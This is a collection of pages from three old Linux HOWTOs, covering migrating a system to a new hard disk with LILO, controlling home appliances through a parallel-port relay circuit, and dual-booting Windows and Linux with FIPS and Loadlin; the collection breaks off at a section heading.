You must configure the disks as master or slave by installing the disks' jumpers as appropriate. You'll often find configuration information on the disks themselves; if not, consult the manuals or the disks' manufacturers.

You must also inform the BIOS of the disks' presence and of their geometry. Usually, you enter the BIOS setup program by pressing a key during the system boot-up. Here's what to do for some common BIOSes:

Acer notebooks

F2 key during Power-On Self-Test (POST)

American Megatrends (AMI)

Del key during Power-On Self-Test

Award

Del, or Ctrl-Alt-Esc

Compaq

F10 key after the square appears in the top right corner of the screen during boot-up

Dell

Ctrl-Alt-Enter

DTK

Esc key during Power-On Self-Test

Hewlett-Packard Pavilion

F1 key during HP blue splash screen

IBM Aptiva 535

F1 while the square with the wavy lines is displayed in the upper right corner during power-on [1]

IBM PS/2

Ctrl-Alt-Del, then Ctrl-Alt-Ins when the cursor is in the top right corner

Mr. BIOS

Ctrl-Alt-S during Power-On Self-Test

Packard Bell

For some models, F1 or F2 key during Power-On Self-Test

Phoenix

Ctrl-Alt-Esc, Ctrl-Alt-S, or Ctrl-Alt-Enter

Many older systems require an Installation or Reference Disk.

We're interested in receiving information on other BIOSes to add them to this list.

Reboot the system and login as root. If you use the su command to become the user root, use su -, with the hyphen option.

Notes

[1]

Does this also apply to other Aptiva models?

Prev | Home | Next
Introduction |  | Unmount non-Linux partitions and network drives


Introduction

Hard Disk Upgrade Mini How-To
Prev Next

1. Introduction

This document explains how to transfer, or migrate, an entire Linux system, including LILO, from one hard disk to another.

In the following explanation, /dev/hda (first IDE hard disk) means the old disk, and /dev/hdb (second IDE hard disk) means the new disk.

Specific partitions on the old disk are referred to as /dev/hda1, /dev/hda2, and so on. Specific partitions on the new disk are referred to as /dev/hdb1, /dev/hdb2, and so on.

The explanations in this document are based on Red Hat 6.0. They have also been tested with Debian 2.1, Slackware 3.5 and SuSE 6.2; we indicate a few differences to note if you're using those distributions.

If the commands don't work properly on your system, please let us know, mentioning what distribution you're using.

Prev | Home | Next
Hard Disk Upgrade Mini How-To |  | Install both disks on your system


Modify /new-disk/etc/fstab as appropriate

Hard Disk Upgrade Mini How-To
Prev Next

8. Modify /new-disk/etc/fstab as appropriate

If your new disk doesn't have the same partitions or organization as the old disk, modify the file /new-disk/etc/fstab on the new disk as appropriate.

Make sure that the disk partitions (first column) correspond to the organization you'll have with the new disk, once the old disk has been removed, and that you're only mounting one partition at / as shown in the second column.

For more information on the format of the file /etc/fstab, see the Linux System Administrator's Guide, section 4, under Mounting and unmounting.

For swap partitions, use a line similar to this one:
/dev/hda1   swap    swap    defaults    0  0

Prev | Home | Next
Copy the files from the old disk to the new disk |  | Prepare LILO to boot the new disk


Mount the new disk

Hard Disk Upgrade Mini How-To
Prev Next

6. Mount the new disk

Create a directory where you'll mount the new disk, for example /new-disk, and mount it there:
mkdir /new-disk
mount -t ext2 /dev/hdb1 /new-disk

If the new disk will have more than one Linux partition, mount them all under /new-disk with the same organization they'll have later.

Example. The new disk will have four Linux partitions, as follows:
/dev/hdb1:    /
/dev/hdb2:    /home
/dev/hdb3:    /var
/dev/hdb4:    /var/spool

Mount the four partitions under /new-disk as follows:
/dev/hdb1:    /new-disk
/dev/hdb2:    /new-disk/home
/dev/hdb3:    /new-disk/var
/dev/hdb4:    /new-disk/var/spool

You must create the mount points for each level before you mount the partitions at that level.

Example.
mkdir /new-disk                                 [1st level]
mount -t ext2 /dev/hdb1 /new-disk

mkdir /new-disk/home                            [2nd level]
mount -t ext2 /dev/hdb2 /new-disk/home

mkdir /new-disk/var                             [2nd level also]
mount -t ext2 /dev/hdb3 /new-disk/var

mkdir /new-disk/var/spool                       [3rd level]
mount -t ext2 /dev/hdb4 /new-disk/var/spool

If you've created a mount point at /new-disk/tmp, you'll need to correct the directory's permissions to let all users access it:
chmod 1777 /new-disk/tmp

Prev | Home | Next
Format the new disk |  | Copy the files from the old disk to the new disk


Partition the new disk

Hard Disk Upgrade Mini How-To
Prev Next

4. Partition the new disk

Use this command to partition the new disk:
fdisk /dev/hdb

EIDE devices are identified as hda, hdb, hdc, and hdd in the /dev directory. Partitions on these disks can range from 1 to 16 and are also in the /dev directory. For example, /dev/hda4 refers to partition 4 on hard disk a (first EIDE hard disk).

SCSI devices are listed as devices sda, sdb, sdc, sdd, sde, sdf, and sdg in the /dev directory. Similarly, partitions on these disks can range from 1 to 16 and are also in the /dev directory. For example, /dev/sda3 refers to partition 3 on SCSI disk a (first SCSI hard disk).

For Linux partitions with the ext2 file system, use system ID 83. For swap partitions, use system ID 82.

For more information on partitioning, see the Installation How-To and the Partition Mini How-To.

If your new disk has over 1024 cylinders, see the Large Disk Mini How-To. In brief, you should install all files required to boot Linux within the first 1024 cylinders. One way to do this is to create a small partition (5 Mb or so) just for the /boot directory at the beginning of the disk. (Slackware only: The kernel is at /vmlinuz rather than /boot/vmlinuz, so you should put both the / directory and the /boot directory in this partition.)

Partitions for systems other than Linux should be created using their own fdisk or equivalent command rather than with Linux's fdisk.

Prev | Home | Next
Unmount non-Linux partitions and network drives |  | Format the new disk


Prepare LILO to boot the new disk

Hard Disk Upgrade Mini How-To
Prev Next

9. Prepare LILO to boot the new disk

(Thanks to Rick Masters for helping with this.)

We're assuming that LILO is installed on the hard disk's Master Boot Record (MBR); this seems to be the most common configuration. You want to install LILO on what's presently the second hard disk but will become the first hard disk.

Edit the file /new-disk/etc/lilo.conf as follows:
disk=/dev/hdb bios=0x80       # Tell LILO to treat the second
                              # disk as if it were the first
                              # disk (BIOS ID 0x80).
boot=/dev/hdb                 # Install LILO on second hard
                              # disk.
map=/new-disk/boot/map        # Location of "map file".
install=/new-disk/boot/boot.b # File to copy to hard disk's
                              # boot sector.
prompt                        # Have LILO show "LILO boot:"
                              # prompt.
timeout=50                    # Boot default system after 5
                              # seconds. (Value is in tenths of
                              # seconds.)
image=/new-disk/boot/vmlinuz  # Location of Linux kernel. The
                              # actual name may include a version
                              # number, for example
                              # "vmlinuz-2.0.35".
    label=linux               # Label for Linux system.
    root=/dev/hda1            # Location of root partition on
                              # new hard disk. Modify this as
                              # appropriate for your system.
                              # Note that you must use the name
                              # of the future location, once the
                              # old disk has been removed.
    read-only                 # Mount partition read-only at
                              # first, to run fsck.

Slackware only. Use image=/new-disk/vmlinuz.

If you're using a SCSI hard disk, you may have to add a line with initrd. See your existing file /etc/lilo.conf.

Install LILO on the new disk:
/sbin/lilo -C /new-disk/etc/lilo.conf

The -C option tells LILO what configuration file to use.

Prev | Home | Next
Modify /new-disk/etc/fstab as appropriate |  | Make a boot diskette (optional)


Reboot the system, modify LILO configuration file

Hard Disk Upgrade Mini How-To
Prev Next

12. Reboot the system, modify LILO configuration file

Reboot the system. If you have problems, you can use the boot diskette you just make. To do so, you may have to modify your BIOS's boot-up sequence to A:, C:.

You should modify the file /etc/lilo.conf in case you later want to run LILO again. Here's an example of how the file can look:
boot=/dev/hda                 # Install LILO on first hard
                              # disk.
map=/boot/map                 # Location of "map file".
install=/boot/boot.b          # File to copy to floppy's
                              # boot sector.
prompt                        # Have LILO show "LILO boot:"
                              # prompt.
timeout=50                    # Boot default system after 5
                              # seconds. (Value is in tenths of
                              # seconds.)
image=/boot/vmlinuz           # Location of Linux kernel. The
                              # actual name may include a version
                              # number, for example
                              # "vmlinuz-2.0.35".
    label=linux               # Label for Linux system.
    root=/dev/hda1            # Location of root partition on
                              # new hard disk. Modify this as
                              # appropriate for your system.
    read-only                 # Mount partition read-only at
                              # first, to run fsck.

Slackware only. Use image=/vmlinuz.

Prev | Home | Next
Remove the old disk |  | Acknowledgements


Remove the old disk

Hard Disk Upgrade Mini How-To
Prev Next

11. Remove the old disk

Shut down the system and remove the old disk. Remember to modify the disk jumpers and the BIOS information to reflect the changes.

Prev | Home | Next
Make a boot diskette (optional) |  | Reboot the system, modify LILO configuration file


Unmount non-Linux partitions and network drives

Hard Disk Upgrade Mini How-To
Prev Next

3. Unmount non-Linux partitions and network drives

Some people like to mount partitions from other operating systems (DOS, Windows, OS/2, etc.) so they can use them under Linux. These partitions must be created and copied under their own operating system, and you should unmount them before copying your Linux partition. For example, if you have a DOS partition mounted at /dos, you must unmount it with this command:
umount /dos

Note that the command is umount, without the first letter n in the word unmount.

You should also unmount network drives.

Prev | Home | Next
Install both disks on your system |  | Partition the new disk


Electronic Circuit

Home Electrical Device Control HOWTO
Prev Next

3. Electronic Circuit

The data line of the parallel port can provide between 0 and 5 volts. Therefore, we can use this line to control a relay and let that relay control an electrical device.

Use pins 2 through 9 to get +5V

Use pins 18 through 25 as the Ground

            ____________________________________________________________

           /                                                            \

           \     13  12  11  10   9   8   7   6   5   4   3   2   1     /

            \                                                          /

             \     25  24  23  22  21  20  19  18  17  16  15  14     /

              \______________________________________________________/

                                             | Vcc for Relay

                                             |

                                             |

                                    / -------+--------| |---------|

P data              4.7K         B /  c      | 1N4002 |_|         |-------

-----------/\/\/\/\---------+-----| NPN    _____        | relay   |home device

                            |     \   e     /_\       |-|         |-------

                 LED        X      \         +--------| |---------|

P Ground                    |       |        |

----------------------------+-------+--------+

Relay Ground                                 |

---------------------------------------------+

Below is the key to the diagram above:

P data		parallel port data line(pin 2 to pin 9, use any)

P Ground			parallel port ground (pin 18 to pin 25, use any)

Vcc				depends on the type of your relay. I'm using 12VDC

Relay Ground	the ground for 12VDC

4.7k				4.7K resistor

NPN				C2235 NPN transistor

1N4002			1N4002 diode

LED				light emitting diode

relay				a coil relay

+5 volts from parallel port will turn on the relay. Once the relay is on, the device connected to that relay will be on. When the parallel port's data line goes back to 0, it will turn off the relay, and device is off.

Prev | Home | Next
System Requirement |  | Examples of Relays


Copyright and License

Home Electrical Device Control HOWTO
Prev

6. Copyright and License

Copyright Rui Li 2000-2001. License is GNU GPL, but it is requested that you retain the author's name and email on all copies. Please keep my name and e-mail address when you are copying this HOWTO.

Prev | Home
Special Thanks |


Home Electrical Device Control HOWTO

Rui Li

ruili@worldnet.att.net

Joy Yokley - Coverted document from Linuxdoc to DocBook v4.1 (SGML).

2002-02-12

Revision History
Revision 0.007 | 2002-02-12 | Revised by: RL
Revision 0.006 | 2001-06-27 | Revised by: JEY
Revision 0.005 | 2001-06-13 | Revised by: RL
Revision 0.004 | 2001-06-12 | Revised by: JEY

This HOWTO will tell you how to use Linux to control your home electrical devices. You will only need to make a very simple circuit to control almost any kind of electrical device using Linux!

Table of Contents
1. Introduction
2. System Requirement
3. Electronic Circuit
4. Examples of Relays
5. Special Thanks
6. Copyright and License
Next
Introduction


Introduction

Home Electrical Device Control HOWTO
Prev Next

1. Introduction

Many people asked me, "Is it possible to control some electrical stuff [e.g. lights, radio, tv, etc.] by using a home computer?" The answer is YES. The process is very easy, and anyone can do it.

After I read the Coffee Machine Mini-HOWTO, I got an idea of how to control my home electrical appliances. I made some modifications on the circuit discussed in that Coffee Machine Mini-HOWTO, and wrote a simple program. The circuit can control many small electrical devices.^_^ You can use crontab to set your lights to come on automatically or to turn on your airconditioner. I use it to control my VCR and VCD ( I do still need some modification on VCR/VCD). By writing a simple program, you can control everything over the web. You can use telnet with SSH and your telephone dial in to control all the appliances you have on the circuit.

This circuit is VERY SIMPLE. Even if you don't know anything about circuits, you can set up this circuit.

Prev | Home | Next
Home Electrical Device Control HOWTO |  | System Requirement


Examples of Relays

Home Electrical Device Control HOWTO
Prev Next

4. Examples of Relays

The diagrams below are used to explain how relays work.

The relay itself is just a switch as seen in the diagram below:

relay power off                        relay power on

       |3                                    |3

       |                                     |

       |                                     |

       o                                     o

        \                                    |

       o \                                   o

       |                                     |

       |                                     |

       |                                     |

       |4                                    |4

The diagram below demonstrates the setup of a 4 pin relay.

      ____________________________

      |                          |

  1   |                          |  3

 -----|---------s     o----------|-------

      |  coil   s      \switch   |

  2   |         s       \        |  4

 -----|---------s     o- \-------|-------

      |                          |

      |                          |

      |                          |

      |__________________________|

In the diagram above, pin 3 and pin 4 are disconnected by default. When you send +12V between pin 1 and pin 2, it will turn on a switch, and pin 3 and 4 are now connected.

The following is a 5 pin relay:

           _______________________________

           |                             |

     1     |                             |       5

  ---------|---+            o------------|----------------

           |   |-----------/---- s       |

           |              /      s       |

     3     |             /       s       |

  ---------|-----------o/   coil s       |       4

           |                 o---s-------|----------------

           |                     |       |

           |                     |       |

     2     |                     |       |

 ----------|---------------------+       |

           |_____________________________|

In the above diagram pin 3 is connected to pin 5, by default. By sending +12V between pin 1 and pin 2, you will will turn on a switch. Pin 1 and pin 2 will disconnect, and pin 5 and pin 4 will connect.

 relay power off                 relay power on

     |5                                  |5

     |                                   |

     |                                   |

     o                                   o

      \                                  |

     o \                                 o  o

     |  o                                |  |

     |  |                                |  |

     |  |                                |  |

    4|  |3                              4|  |3

Some relays may have more that 5 pins. More pins just means there are more switches.

I wrote a simple program that can control 8 relays. The program is available at the following location and will need g++ in order to be able to use this program. http://home.att.net/~ruili/goldencat/paralle.tar.gz

A complete circuit can control up to eight relays, that means that a complete circuit can control eight different devices. You will need a DB25 connector. Using a parallel switch cable, connect this relay board to your computer. I put the relay board in a box and use a parallel switch cable to connect it to my Linux box:

Panel: LED, Switch		Back:  DB25 connector

Below is an example of how a relay board would connect with your electrical device:

            CONNECTED RELAY BOARD

                         +-----+ power outlet

       1 _______3        |   __|________             ||   ||

       --|     |---------+  |  |       |             ||   ||

       2 |relay|4           | (o) (o)  |            _||___||__

       --|_____|----+       |------|---|            |        |

                    |              |                |        |

                    | +------------+                |        | plug

            ground  | | hot                         |        |

                    | |                             |        |

                  __|_|__                           |        |

                  | | | |                           |________|

                  | | | | plug

                  | | | |

                  |_|_|_| (i know it doesn't look like a plug, but it's a plug :-) )

                   || ||

                   || ||

To connect the system, just connect your home electrical device to the power outlet. That is it! You don't need to make any change on the electrical device. And you can connect any kind of device to that power outlet. Plug this power outlet into any wall outlet.

To see photos of what the finished product looks like, go to the following sites:

  • http://home.att.net/~ruili/goldencat/p1.jpg

  • http://home.att.net/~ruili/goldencat/p2.jpg

  • http://home.att.net/~ruili/goldencat/p3.jpg

The following URL shows a complete electronic circuit (control 8 devices): http://home.att.net/~ruili/goldencat/01.png

Prev | Home | Next
Electronic Circuit |  | Special Thanks


System Requirement

Home Electrical Device Control HOWTO
Prev Next

2. System Requirement

Get any computer that is running Linux and has a working parallel port. :) I'm using a 386DX with 4MB RAM 40MB HD. You will need gcc to compile the program. If you want to use telnet or SSH, you will also need telnetd or sshd. You can write your own program by using ioperm and outb. If you would like to use my program, you will need g++.

Click the following link to download my program. You will need g++ to compile it. home.att.net/~ruili/goldencat/paralle.tar.gz.

Prev | Home | Next
Introduction |  | Electronic Circuit


Special Thanks

Home Electrical Device Control HOWTO
Prev Next

5. Special Thanks

Special thanks to Rufus Chang rufus@chu.url.com.tw.

Special thanks to Chih-Wei Huang cwhuang@linux.org.tw.

Prev | Home | Next
Examples of Relays |  | Copyright and License


Linux Installation Strategies mini-HOWTO

Tobby Banerjee

tobbyb@usa.net

Philippe Martin - Conversion to DocBook SGML

Revision History
Revision 1.0.1 | 2001-05-02 | Revised by: pm
Conversion to DocBook SGML.
Revision 1.0 | 2000-12-20 | Revised by: tb
Initial release.

This document discusses a few installation strategies for those who intend to dual-boot between Windows and Linux.

Table of Contents
1. License
2. Mail
3. The basics
4. A note about hard disks and partitions
5. The concepts
6. Partitioning
7. Installation
8. The Lilo way
9. The Loadlin way
10. Rebooting
11. Setting up Loadlin
12. Removing Linux and restoring your Windows partition to its Original state
13. XFree 4.01
14. Tips and Suggestions
15. The State of Linux – What to Expect
15.1. The Specifics – Wordprocessing
15.2. Multimedia
15.3. Internet
15.4. Games
15.5. Desktop Publishing
Next
License


License

Linux Installation Strategies mini-HOWTO
Prev Next

1. License

You are free to do with this document whatever you please but reading it would be a good idea. I am naturally not responsible for any consequence or action arising out of the use of information provided in this document. I am not a very responsible person and you heed me at your own peril.

Prev | Home | Next
Linux Installation Strategies mini-HOWTO |  | Mail


Mail

Linux Installation Strategies mini-HOWTO
Prev Next

2. Mail

Should you find this document helpful please feel free to mail me at <tobbyb@hotmail.com>. Microsoft shares will be highly appreciated but short of that flattery will do just fine.

Prev | Home | Next
License |  | The basics


The basics

Linux Installation Strategies mini-HOWTO
Prev Next

3. The basics

The primary purpose of this document is to make the co-existance between Windows and Linux as simple and uncomplex as possible which means as far as Windows is concerned Linux doesn't exist. It is now possible to install Linux on a Windows partition as a disk image with what is known as the loopback filesystem – RedHat and Mandrake offer this – but it's an extremely bad idea because of the way Windows handles files. Defragmenting the system will become a nightmare and Linux itself will crawl and it will ruin both your Windows and Linux experience. The same applies to the Umsdos filesystem (though Linux won't crawl) and it's best to install Linux on a partition of its own. This document makes a few presumptions but nothing to worry about – just a few.

  • You are using Windows 9x (95,98) not Me or 2000.

  • You are familiar with computers ie you know how to boot the system using the floppy or cdrom drive

  • You know your way around DOS and Windows

  • You know what a partition is and want to install Linux on a partition of its own

  • You have a large hard disk – upward of 8.4 Gb – which currently holds Windows and on which you intend to install Linux (even those who with smaller disks can read on).

With that out of the way we can begin. The first thing to do is to make space for Linux. Like other Linux wannabes you are likely to be stuck with a huge single partition with Windows on it. This would be your C drive. In my case it was hogging 13.5 gigs. You have to make a separate partition for Linux out of this space (which would then be labelled as D). You can either use Windows Fdisk which really is not a good idea as it would entail losing all your data and making new partitions from scratch, one for Windows and one for Linux, or you can take the easier and far more convenient way out and use a free and excellent non-destructive partitioning utility called Fips. What makes Fips special is its ability to create a new partition out of the free space in your C partition without any loss of data. The latest version of Fips (2.0) is available at its homepage http://www.igd.fhg.de/~aschaefe/fips/ and most Linux distributions carry it under the /dostools or /dosutils directory in the primary cd.

We are going to concentrate on using Fips so if you are going to use Windows Fdisk – which actually is totally unnecessary unless you have just bought a new system and even then it's a better idea to make a single partition with Windows Fdisk, install Windows on it and then use Fips to split it for reasons that I'm going to explain later in this document – or a commercial partition utility like Partition Magic you are on your own.

Prev | Home | Next
Mail |  | A note about hard disks and partitions


A note about hard disks and partitions

Linux Installation Strategies mini-HOWTO
Prev Next

4. A note about hard disks and partitions

A hard disk can have a maximum of 4 primary partitions – don't ask me why, I don't know. Apart from primary partitions a hard disk can also have what is known as an extended partition which inturn can hold a number of logical partitions – I believe the number is close to 15. The extended partitions are not real partitions like primary or logical partitions in that they don't store data but are actually containers for logical partitions which is where data is actually stored – as you can see it is uneccessarily complex. Thus in Windows C is a primary partition and if you used Windows Fdisk – Windows Fdisk will not make more than one primary partition to partition your hard disk – D is usually the first logical partition of the extended partition. E would be the second logical partition and so on. In Linux things are slightly different. The first primary partition is called /dev/hda1, the second primary partition /dev/hda2 upto the fourth which is /dev/hda4. Linux refers to the an extended partition as in the case of a disk with 1 primary and one extended partition as /dev/hda1 for the primary and /dev/hda2 for the extended. The logical partitions of the extended partitions are referred to as /dev/hda5, /dev/hda6 and so on. The second hard disk would be referred to as /dev/hdb, the third /dev/hdc (usually the cdrom drive if set as secondary master) and the fourth and last hard disk as /dev/hdd (last because the motherboard has place for a maximum of 4 IDE devices) SCSI devices are referred to as /dev/sda – thank god for that.

Prev | Home | Next
The basics |  | The concepts


The concepts

Linux Installation Strategies mini-HOWTO
Prev Next

5. The concepts

What Fips does is make a new primary partition out of the free space in your hard disk. This is an inherently dangerous operation and it's a good idea to back up all your important data lest something go wrong. Having said that Fips has been used successfully by a large number of people in different conditions and unless there is something already wrong with your hard disk, FAT (File Allocation Table) or partition table things will work just fine. You should read the Fips documentation.

Before you set out to partition the hard disk you have to decide how you want to boot into Linux. The default and most common method is to use Lilo – a simple and basic bootloader program that overwrites (after saving) your hard disk's MBR (Master Boot Record) and on booting the system gives you a choice between booting either Windows or Linux. If you select Windows it boots Windows and you are met with the familiar windows screen or if you select Linux it boots Linux and if you don't make a choice in the stipulated time – could be anything from ±5 seconds depending on on how you set it up – it boots the default operating system, Windows or Linux, again depending on how you set it up. You can restore your original MBR anytime, when uninstalling Linux for instance, either by typing /sbin/lilo -u within Linux or typing fdisk /MBR in DOS (this will overwrite the MBR with the original Windows MBR) needless to say you would lose the option to boot into Linux after this and thus access to your Linux partition.

The problem with using Lilo especially for those with large disks is you would have to give up a substantial chunk of your disk space to Linux. This is not a flexible solution since while you can access your Windows partition from within Linux – the large MPEG files can thus be stored in Windows and accessed by both operating systems – the alternate is not true.

This is because of an arcane BIOS limitation that limits Lilo to the first 1024 cylinders of the hard disk. Windows and Linux have no such limitations – it has something to do with address translation and LBA which I have yet to fully understand. Suffice to know the BIOS cannot access data that is beyond this 1024 cylinder limit and since Lilo is dependent on the BIOS to boot the OS's nor can it. Thus if you want to use Lilo to boot Linux you got to make sure that the Linux partition is well below the 1024 cylinder limit. My hard disk – and most modern hard disks have more than 1024 cylinders – has 1650 cylinders and using Lilo means making the Linux partition at about the 1000 or 1010 cylinder mark which translates into a whopping 5.2 Gb of 12.9 Gb to Linux and this wasn't working for me since my Linux stuff hardly need more than 2 Gb and my Windows data on the other hand with MP3's and MPEG movies needs a lot more than 7 Gb.

The solution, and in Linux there are always solutions, is Loadlin, an underrated alternative to Lilo which is inexplicably not as popular or widespread, inexplicable because it's far more flexible. If you intend to use Loadlin and for those with large hard-disks it's an excellent alternative you don't have to worry about the 1024 cylinder limit. Even better you can launch Linux from your Windows desktop and modify your autoexec.bat file to give you an option to boot into either of the OS's during boot time not unlike Lilo. You are then free to size your partitions as you please. In my case a 2.2 Gb extended partition with 3 logical partitions. That's right 3 partitions. It's normal to make three partitions, one for the Kernel boot files, one for the root partition and one for the swap partition but more on that later.

If you must use Lilo but are unwilling to give up a lot of space there is a solution. Place the Linux partition in the middle of the disk. You have to split the new partition you just created using Fips into 2 (you would have to use Fips once again for this) the first partition which falls within the 1024 cylinder limit can be used for Linux and the second you can use for Windows. Thus your hard disk will then have 3 partitions the first and third for Windows and the one in the middle for Linux. I don't like this arrangement but it's up to you. (At the moment we are refering to the Linux partition as one but during the installation you will split it into 3 using the Linux tools) You can also make a small 15-20 Mb /boot partition and place it before the 1024 cylinder mark and the rest of the installation anywhere on the hard disk but again I quite don't like this.

Prev | Home | Next
A note about hard disks and partitions |  | Partitioning


Partitioning

Linux Installation Strategies mini-HOWTO
Prev Next

6. Partitioning

Now we are ready to actually partition the hard disk. First make a DOS boot disk (type format a: /s at the DOS prompt or in DOS). Put the following three files in the disk, fips.exe, restorrb.exe and errors.txt. Defragment your hard disk – this puts all the data at the beginning leaving enough space for Fips to create a new partition from. If you use Norton SpeedDisk select the unfragment free space option. Norton usually puts data at the end of the disk and this will prevent Fips from creating a new partition. Run Scandisk and reboot using the bootdisk you just created.

Type fips at the prompt and Fips will show you your partition table with a warning about partition table inconsistency. If your disk has more than 1024 cylinders its usually safe to ignore this warning. Next Fips will ask you is you want to proceed – the program is extremely meticulous – answer yes obviously and when prompted to save a backup of your partition table and boot sector answer yes – this step is absolutely vital as it allows you to restore your hard disk to its unpartioned single partition state should anything go wrong. It also comes in handy if you want to uninstall Linux or resize your Linux partition. It doesn't matter what happens to the new partition in the meantime, if you have the back up you can restore your hard disk to its original unpartioned state. This reversible operation will work in all circumstances but one; if you format your original (Windows) partition which was split to make space for Linux in the meantime, the original FAT is overwritten with a new and smaller one and the restore operation will not work.

After making the backup you will be presented with a screen with 3 numbers, the first represents your original partition – notice it is at its smallest size, Fips has allocated all free space in the hard disk to the new partition, this is the default behavior. The second column shows the cylinder info which will be the guide for those who plan to use Lilo. The third shows the size of the new partition you are going to create – it is at its largest size. Use the arrow keys to resize the partition, you would just have to reduce the size of the new partition since it is at its maximum to a size you want. For Lilo users the new partition has to be below the 1024 cylinder mark, 1000 is a reasonable beginning for the new partition. After you are satisfied with the size of your new partition press enter, Fips will ask you to confirm and write the new partition table.

Reboot your system. Remember to change the BIOS settings to boot from the hard disk or you will end up rebooting with the floppy. Double click My Computer and you will see the result of all the hard work, there will be a new drive labelled D alongside the original C. Don't touch D, run scandisk on your original partition (C) – hopefully there will be no errors – and at this point you are ready to install Linux.

Some of the Linux documentation mistakenly ask you to delete the newly created partition using Windows Fdisk. Do not commit that blunder because if you do the Linux partitions will show up in My Computer when you reboot after installing Linux and since Windows obviously cannot read these drives and the ext2 filesystem, using Explorer and acessing your hard disk in Windows will become a time consuming and destabilizing affair. So don't do it.

Prev | Home | Next
The concepts |  | Installation


Installation

Linux Installation Strategies mini-HOWTO
Prev Next

7. Installation

Reboot using your Linux Installation CD – I use Redhat 6.2 which is fairly straight forward and I will focus on it. Most Linux distributions have really worked on their installation programs and you shouldn't have a problem. Just have the details about your hardware in hand, the horizontal and vertical refresh rate of your monitor in case the installation program doesn't automatically detect it ( you will find the exact figures in the manual ), the video card, its memory type ( SDRAM or SGRAM ) and size, and your mouse type – PS2 or Serial. As I mentioned earlier you will have to make about 3 partitions for Linux, you can make more but 3 is the recommended number. There are 3 main installation types, Workstation, Server and Custom. The Server class install erases everything in the hard disk so beware. The workstation and custom installs have sub-classes but that's for you to explore.

Loadlin users have to select custom installation and dump Lilo when given the oppurtunity because the other types of installations install Lilo by default and without asking and we dont want that do we? Lilo users have no restrictions; you can opt for whichever install type you like.

Prev | Home | Next
Partitioning |  | The Lilo way


The Lilo way

Linux Installation Strategies mini-HOWTO
Prev Next

8. The Lilo way

Lilo fans can use Disk Druid which is RedHat's default partitioning utility – yes we haven't finished with partitioning just yet. First delete the second partition which will show up in Disk Druid's screen as /dev/hda2. Then create a new partiton, set its mount point to /boot and size to 16 Mb. Create the second partition and set its mount point to /(that's called the root partition) and size to growable. This tells Disk Druid to reclaim all free space after you have finshed partititoning . Create the third partition and set its mount point to swap and size to about 127 Mb presuming you have 64 Mb RAM, those with less can make a 64 Mb swap partition.

Prev | Home | Next
Installation |  | The Loadlin way


The Loadlin way

Linux Installation Strategies mini-HOWTO
Prev Next

9. The Loadlin way

Those who intend to use Loadlin however cannot use Disk Druid, they will have to use Linux Fdisk which may have an intimidating reputation but is actually pretty simple. When presented with the installation type screen select custom and with fdisk (you will find a small button with fdisk on it at the top of the screen). For some reason Disk Druid doesn't let you proceed with the installation if your /boot partition is above the 1024 cylinder limit so if you try to use it to create the partitions the install program will refuse to proceed. Fdisk is a pretty straight forward program and easy to use too. First you have to delete the partition you just created using Fips. Many people don't understand why they have to delete the partition they just created at considerable risk. This new partition is actually a FAT32 partiton which Linux cannot use and when you delete it it doesn't revert to being a part of C but is actually UNPARTITIONED FREE SPACE which you can use to create new partitions.

You have to understand a few Fdisk operations, typing m lists all the options, typing p at the prompt shows you the current partition table, d deletes a partiton, n creates a partition, q quits without saving changes so if you make any mistakes there is nothing to worry about just type q and start all over again, w writes changes to the partition table use only after you are sure and L shows you the hex numbers for different partition types but you only need to know 2, Linux native is hex number 83 and Linux swap is hex number 82. So why do you need the Hex numbers? While Disk Druid allows you to mount a swap partition without going into the hex numbers in Fdisk the only way to make a swap partiton is to give it its correct hex number which is 82.

Let's start, in Fdisk type p at the prompt and you will see the current partition table. Type d and select the partition you want to delete which in this case would be /dev/hda2 (just type 2) type p again and you will see the change reflected in the partition table. There will now be a single FAT32 partition /dev/hda1 (which is actually C). Type n to create a new partition and for type of partition the choices being primary or extended select e. There is no hard and fast rule about this for instance you could have a primary partition for /boot and an extended partition holding two logical partitions / and swap. I recommend an extended partition that holds three logical partitions. Now you have to size your extended partition properly since it's a container for the three logical partitions. From now on you just have to respond to Fdisk. It will ask you to set the size of the extended partition that you want to create. This partition will start where your Windows partition ends and ends at the end of the disk. You can either give the size in M (megabytes) in cylinder numbers or in K (kilobytes). Just accept the default for the start of the partition and select the end cylinder number for the end – Fdisk will give you the end cylinder number.

Repeat the operation for the three logical partitions, only this time you would have to select logical instead of extended and the appropriate sizes which are 16 Mb for the boot partition, 127 Mb for the swap partition (the size of the swap partition is variable depending on installed RAM, double your RAM is recommended) and the rest of the free space for the root ( / ) partition. Find your way – it's simple, really! After creating the three partitions type p and you will see the partitions you just created. There will be /dev/hda2 (extended) /dev/hda5 (logical) /dev/hda6 (logical) and /dev/hda7 (logical). There is just one thing left to do, set the hex number for the swap partition. Type t and select the 127 Mb partition you created which would be /dev/hda6 enter 6 for the partition number and 82 for the hex number (you will be prompted) and you have just finished with partitioning. Type w after making sure and Fdisk will write the new partition table and exit. The next screen will be the Disk Druid screen our Lilo friends have already seen and you just have to mount the partitions with Disk Druid. Select /dev/hda5 (the 16 Mb partition) and mount it as /boot. Select /dev/hda7 and mount it as / (the root partition)

Prev | Home | Next
The Lilo way |  | Rebooting


Rebooting

Linux Installation Strategies mini-HOWTO
Prev Next

10. Rebooting

The rest of the installation is straight forward and requires no hand holding. Select the packages you want, make the boot disk when given the oppurtunity to (absolutely essential especially for Loadlin users) and reboot the system. Lilo users should press dos at the Lilo prompt to boot into Windows. Like promised none of the Linux partitions will be visible to Windows and we can all rest in peace for that. Lilo users should reboot the system and boot into linux this time by typing linux at the Lilo prompt and depending on the choices you made you will either be at the console or the gnome or kde desktop. From one amateur to another it's always a good idea to log into the console first and not graphically and then starting X because if X crashes on you still have access to the system to make amends. Lilo is set to boot into Linux by default after a gap of 5 seconds, you can change the default to Windows by editing the lilo file in /etc. Look for the line that says default=linux and change it to dos. Alternative launch lilo from an xterm and change the asterisk from linux to dos (use the arrow buttons, dummy). That's set now for Lilo users.

Prev | Home | Next
The Loadlin way |  | Setting up Loadlin


Setting up Loadlin

Linux Installation Strategies mini-HOWTO
Prev Next

11. Setting up Loadlin

